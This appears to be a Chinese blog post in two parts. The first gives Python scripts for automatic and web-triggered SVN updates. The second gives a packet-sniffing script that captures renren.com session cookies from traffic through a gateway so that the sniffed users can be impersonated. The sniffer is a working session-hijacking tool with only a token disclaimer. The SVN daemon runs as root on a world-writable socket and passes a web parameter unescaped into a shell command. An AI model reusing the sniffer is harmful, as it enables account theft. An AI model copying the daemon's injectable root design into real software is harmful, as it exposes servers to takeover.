很久之前,我知道有svn这个东西,还挺不错。
后来使用svn作为团队的代码管理工具。
于是遇到了个问题,代码仓库中的代码怎么能够和服务器的代码同步呢?

=========================
这个问题纠结了很久,之前用apache+cgi使用网页点击手动更新,但是不成功,应该(现在肯定了)是权限问题。
apache的cgi是以www用户执行的,没有权限使用svn。我知道crontab里的命令是以root执行的,所以在crontab里每一分钟更新一次。

后来知道了钩子hook,这个东西,可以让每次版本库有新版本时,服务器会自动更新副本。post_comit钩子指向一个程序,由程序运行更新指令,钩子程序是以root执行的,所以没有权限的问题了。

import os,time,commands,stat

auto_up = ['111','222','333']

base_dir = '/home/wwwroot/'
dir = '/home/wwwroot/admin/svntool'
svn_user = 'xxx'
svn_pass = 'xxx'
owner_id = 501
owner_group = 501
svn_up = '/usr/bin/svn up --username=' + svn_user + ' --password=' + svn_pass + ' --no-auth-cache --non-interactive ';
svn_look = 'svnlook changed /home/wwwbase/svnrepos/'

print time.strftime('%Y-%m-%d %H:%M:%S',time.localtime(time.time()))
# auto update files
print 'Auto update dirs:'
for p in auto_up:
	print "\t", p
	commands.getstatusoutput(svn_up + base_dir + p)

# change owners
print 'Change owners:'
(rc1,rs1) = commands.getstatusoutput(svn_look)
up_list = rs1.split("\n")
for f in up_list:
	file_name = f[4:]
	if f[0] != 'D':
		if os.path.exists(base_dir+file_name):
			os.chown(base_dir+file_name, owner_id, owner_group)
			if f[-3:] == '.py' or f[-3:] == '.sh' or f[-3:] == '.pl':
				os.chmod(base_dir+file_name, stat.S_IREAD|stat.S_IWRITE|stat.S_IXUSR|stat.S_IRGRP|stat.S_IXGRP|stat.S_IROTH|stat.S_IXOTH)
			print "\t", f[:3], file_name
print

——————————-
这个脚本可以自动更新111,222,333,这几个子项目,并且改变属主,如果是可执行文件,会增加执行权限。

看似不错了,但是有时候不想自动更新,而想通过网页手动更新,这个问题还是没有解决的。
分析原因,还是因为权限,执行更新操作的程序必须要有root权限。

引用一个中间程序,可以获取cgi传过来的参数,然后根据参数选择性的更新,这样就行了。中间程序类似一个守护程序,一直运行在后台。
那cgi与中间程序如何通信,可以通过磁盘文件,消息通信,socket通信。

最后选定使用socket通信来解决问题。

程序有两个部分,一个是cgi程序,用来读取get的参数,向套接字发送消息,并将返回的内容打印出来。
另一个是守护程序,用来监听一个socket,当socket有数据时,执行svn更新动作。

client代码

#!/usr/bin/python
print
import cgi,socket
form = cgi.FieldStorage()
dir = form.getvalue('dir')
if not dir: dir="admin"
base_dir = '/home/wwwroot/'
sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
sock.connect("/tmp/svnupdate.sock")
sock.send(base_dir + dir)
print base_dir + dir
print sock.recv(1024)
sock.close()

server 代码

import socket,os,commands,stat
sockfile="/tmp/svnupdate.sock"
sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
if os.path.exists(sockfile):
    os.unlink(sockfile)
sock.bind(sockfile)
sock.listen(5)
os.chmod(sockfile,stat.S_IRWXU|stat.S_IRWXG|stat.S_IRWXO)
print "Listening"
while True:
    connection,address = sock.accept()
    dir = connection.recv(1024)
    print 'svn up ' + dir
    (rc,rs) = commands.getstatusoutput('svn up ' + dir)
    connection.send(rs)
connection.close()

===============================
访问http://xxxxx/svntool/svn_up_client.py?dir=xx 即可更新svn

后记
python守护进程

http://lihuipeng.blog.51cto.com/3064864/1047085

以守护进程开机运行svn_up_server.py

写一个index.py的入口文件
提供多个锚链接

#!/usr/bin/python
print "Content-type: text/html"
print
lst=['111', '222', '333']
for i in lst:
    print "<a href='svn_up_client.py?dir=%s'>svn up /wwwroot/%s</a><br />"%(i,i)

这种cgi程序对换行符也有严格要求,要用\n,而不是\r\n。

python很强大,在抓包领域,配合使用python_libpcap库,可以做到方便抓包处理包的功能。

可惜的是python默认没有安装依赖的库,要手动安装。需要安装pcap,dpkt两个依赖包
网上有两个版本的pcap,一个是
apt-get install libpcap-dev
pylibpcap-0.6.2.tar.gz
python setup.py install
另一个是 apt-get install python-libpcap

两个库好像有些不同,一第一个为准吧。
装好第一个之后,在目录里面会找到一个example的文件夹,里面有两个测试程序,sniffer.py这个程序给了我很大的参考空间。
使用方法是usage: sniff.py <interface> <expr>
第一个参数是网卡名称,一般是eth0 第二个参数是BPF过滤器。
一个网卡会有大量的数据包,如果不用过滤器,直接查看的话,真是一场灾难,BPF过滤器就是用来过滤这些数据包的。但是BPF的资料比较少。
常用的BPF有 tcp ip udp src/dst port 80 host baidu.com ether proto 0x888e 等等
参考 http://www.cnpaf.net/Class/winpcap/200810/23011.html
我们的目标是抓到目的地址是renren.com的包,然后把cookie提取出来。所以过滤器是 “dst host www.renren.com”,抓到包之后,不是每一个包都有cookie信息,简单起见,认为cookie信息只存在一个包内。
接下来是分析包的内容了,包从外到内有3层封装,最外一层是以太网包,中间是IP包,再里面是tcp包,最里面是http报文。
以太网报文:
6字节 目标MAC地址
6字节 原始MAC地址
2字节 类型
46-1500字节 数据
4字节 FCS
IP报文:
4bit版本 4bit首部长度
1字节 服务类型
2字节 长度
2字节 认证
2字节 标志,段偏移量
1字节 TTL
1字节 协议
2字节 校验和
4字节 源IP地址
4字节 目的IP地址
(可选) 其他选项
TCP报文:
2字节 源端口号
2字节 目的端口号
4字节 序列号
4字节 确认序列号
4bit 首部长度
6bit 保留
6bit 标志位
2字节 窗口大小
2字节 校验和
2字节 紧急指针
(可选) 其他选项

HTTP报文:

GET|POST|.. URL HTTP/1.1
[Option: Value]

示例程序中有以太网报文解包的代码,可以直接重用,至于IP,TCP和HTTP的解包过程,其实可以不做,只要在以太网包里面用正则匹配出Cookie的值就可以了。至于不解包就直接正则匹配,结果完全不受影响。

 

#! /usr/bin/env python
import pcap
import re

def print_packet(pktlen, data, timestamp):
    if not data:
        return

    m=re.search(r"Cookie(.+)",data)
    if m:
        print m.group(0)

if __name__=='__main__':
    p = pcap.pcapObject()
    p.open_live("eth0", 1600, 0, 100)
    p.setfilter("dst host www.renren.com", 0, 0)

    try:
        while 1:
            p.dispatch(1, print_packet)
    except KeyboardInterrupt:
        print 'shutting down'
        print '%d packets received, %d packets dropped, %d packets dropped by interface' % p.stats()

运行程序,输出的就是通过网关访问renren.com留下的cookie,使用这个cookie可以模拟用户登录,当然,这仅仅是个实验,不要用在非法的用途。

一些地方还需要改进,当url或者cookie过长,cookie会落在两个包里,这样的话,cookie是不完整的。

可以将正则表达式改成 “Cookie(.+)(\s+)” 可以避免抓到不完整的Cookie。